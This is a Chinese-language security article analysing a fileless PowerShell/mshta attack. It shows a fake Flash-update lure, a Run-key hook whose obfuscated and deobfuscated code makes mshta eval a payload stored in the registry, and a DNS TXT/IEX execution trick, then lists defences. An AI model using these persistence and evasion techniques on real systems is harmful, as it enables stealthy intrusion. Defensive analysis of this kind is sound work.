PowerShell注入技巧:无盘持久性和绕过技术

写在前面的话

PowerShell是网络安全专家、IT管理员以及黑客们最喜欢的工具之一,这一点是毋庸置疑的。PowerShell的可扩展性和其强大的功能让微软操作系统的可控制程度上升到了一个前所未有的等级。简单说来,Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境,而它可以算是颠覆了传统的命令行提示符-cmd.exe。

在Binary Defense(一家专业从事网络安全业务的公司)中有着大量PowerShell的拥护者,无论是进行自动化测试也好,还是进行复杂的程序分析也罢,PowerShell都是他们的首选工具。除此之外,像PowerShell Empire以及PowerSploit这样的工具也是网络安全研究领域以及黑客的挚爱。

[[190526]]

攻击分析

我们通常可以看到很多利用PowerShell的攻击向量,而且在昨天晚上,我们的终端安全检测与应急响应平台(Vision)检测到了一个使用了多种方法来实现攻击持久化并规避传统反病毒技术的攻击事件。它所使用的第一种方法是让目标用户访问一个需要升级Adobe Flash浏览器插件的网站,而攻击者在这里需要使用到mshta.exe(一种HTA攻击方法),MSHTA.exe是微软的一个合法程序,它可以在任何浏览器中随时调用。但是在大多数情况下,它并不是合法的扩展,因此我们建议用户在配置防火墙时屏蔽所有的HTA扩展。因为HTA文件允许我们调用任意的命令,而攻击者同样可以做到这一点,所以启用HTA扩展很有可能让我们的主机遭到攻击。

需要注意的是,这个攻击向量在很多年前就已经嵌入在了Unicorn和社会工程学工具套件(SET)之中了。

此时,如果系统弹出了提示框,而攻击者又根据提示框中的信息进行了操作(打开-open),那么目标用户将会被攻击。攻击向量可以是一个VBS下载器、PowerShell,或者是一段下载后自动执行的恶意代码。只要用户点击了“Open”,任何事情都有可能会发生。但是在我们近期所研究的攻击案例中,攻击者使用了HTA攻击方法作为攻击的初始阶段和Dropper。

页面会发起一个恶意HTA,当用户打开了这个HTA之后,Vision会立刻检测到其恶意行为:

当文件被打开之后,一段PowerShell命令将会被执行。一般情况下攻击者会通过PowerShell发动SYSWOW64降级攻击,这种攻击向量可以将进程降级为32位进程,并实现shellcode注入攻击,而且Unicorn/SET多年以来一直都在使用这种技术。

在对具体的日志记录进行了分析之后我们发现,很多攻击者会使用Invoke-Expression(IEX)来提取出特定的注册表键,并实现持久化钩子。在PowerShell的初始调用中,变量名和持久化钩子都经过了混淆处理。大致如下图所示:

在这种攻击中,注册表入口位于CurrentVersion\Run,而这里也是持久化钩子的起始位置。

日志信息如下:

混淆后的持久化注册表钩子:

  1. HKEY_USERS:SANITIZED\Software\Microsoft\Windows\CurrentVersion\Run 
  2. "C:\Windows\system32\mshta.exe" "about:<script>c1hop="X642N10";R3I=new%20ActiveXObject("WScript.Shell");QR3iroUf="I7pL7";k9To7P=R3I.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs");J7UuF1n="Q2LnLxas";eval(k9To7P);JUe5wz3O="zSfmLod";</script>

反混淆后的持久化注册表钩子:

  1. <script> 
  2. WScript_Shell_Object = new ActiveXObject("WScript.Shell"); 
  3. Registry_Key_Value=WScript_Shell_Object.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs"); 
  4. eval(Registry_Key_Value); 
  5. </script> 

这种就是我们所称之为的无文件攻击向量,因为它不需要向硬盘写入任何内容,它唯一需要的就是注册表键,并通过运行注册表键来在目标系统中实现持久化注入。在我们的攻击场景中,mshta.exe将利用嵌入了PowerShell指令的WScript.shell来调用特定的注册表键,而且传统的反病毒产品以及目前绝大多数安全解决方案都无法检测到这种无文件的持久化攻击。

利用原生的PowerShell以及mshta,攻击者将可以通过传统的感染技术来实现系统入侵,而且完全不需要下载额外的恶意代码或安插系统后门。在此过程中,大多数攻击者会选择使用Invoke-Expression,但是具体的攻击实现方法也是多种多样的。近期,安全研究专家Vincent Yiu(@vysecurity)演示了一种无需调用IEX和ExcodedCommand就可以绕过传统检测技术的攻击方法,而且目前很多高级攻击者也在广泛使用这种技术。有关这项技术的更多详细内容请参考Vincent Yiu的Twitter:

在这个例子中,网站的TXT记录将会下载PowerShell命令,并通过nslookup在系统中执行这些命令。这也就意味着,我们可以将命令注入在DNS的TXT记录中,然后让系统自动执行这些PowerShell命令。Vision所检测到的一种恶意行为模式如下:

如果检测到了nslookup或者代码提取行为,那么Vision将能够迅速识别出PowerShell代码中的nslookup请求以及TXT记录中的恶意代码。需要注意的是,Vencent Yiu所提供的方法只能执行一个文件而无法执行代码本身,因此我们还需要其他的命令从nslookup TXT记录中提取出代码并执行它们。

安全研究专家Daniel Bohannon给出了一种不同的实现方法,但这种方法仍然需要用到IEX。演示样例如下:

  1. $nslookupResult1 = 'iex' 
  2. $nslookupResult2 = 'Write-Host THIS IS MY ACTUAL PAYLOAD -f green' 
  3. . $nslookupResult1 $nslookupResult2 
  4.    
  5. or even better: 
  6.    
  7. $nslookupAllInOne = @('iex','Write-Host ALL IN ONE -f green') 
  8. . $nslookupAllInOne[0] $nslookupAllInOne[1] 

下图为Vision所识别出的一种特定攻击模式:

应对方案

对于那些没有使用Vision代码防御平台的企业来说,可以采用以下几种实践方法来防止攻击者利用PowerShell攻击企业的网络系统:

  • 限制PowerShell命令的字符长度;
  • 限制PowerShell的语言模式;
  • 启用增强型PowerShell;(参考资料);
  • 定期执行威胁检测以尽早识别出可疑活动;
  • 审查DNS日志并寻找可疑的控制命令和DNS请求;
  • 搜索可疑的System.Management.Automation.dll以及System.Management.Automation.ni.dll
  • 利用类似Sysmon这样的工具来检测和记录可疑进程;
  • 在正常情况下禁止普通用户执行PowerShell命令(AppLocker +Device Guard可以防止普通用户使用PowerShell);
  • 监控powershell.exe的子进程以及可能存在的钩子;
  • 搜索powershell.exe派生出的32位PowerShell子进程,这也是一种shellcode注入技术的典型检测方法;

更多内容请参考Matthew Graeber的Twitter;

总结

由于安全研究人员和网络攻击者会遇到越来越先进的PowerShell以及相应的检测绕过技术,那些基于模式识别的传统检测方法已经不能再仅仅依靠恶意PowerShell来完成检测了,而且随着代码混淆技术的不断发展,安全防御人员的工作更是难上加难。因此,我们只有尽早地识别出可疑的行为模式,才能够降低个人用户和企业用户受到攻击的可能性。

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/142125.html<

(0)
运维的头像运维
上一篇2025-03-09 02:24
下一篇 2025-03-09 02:25

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注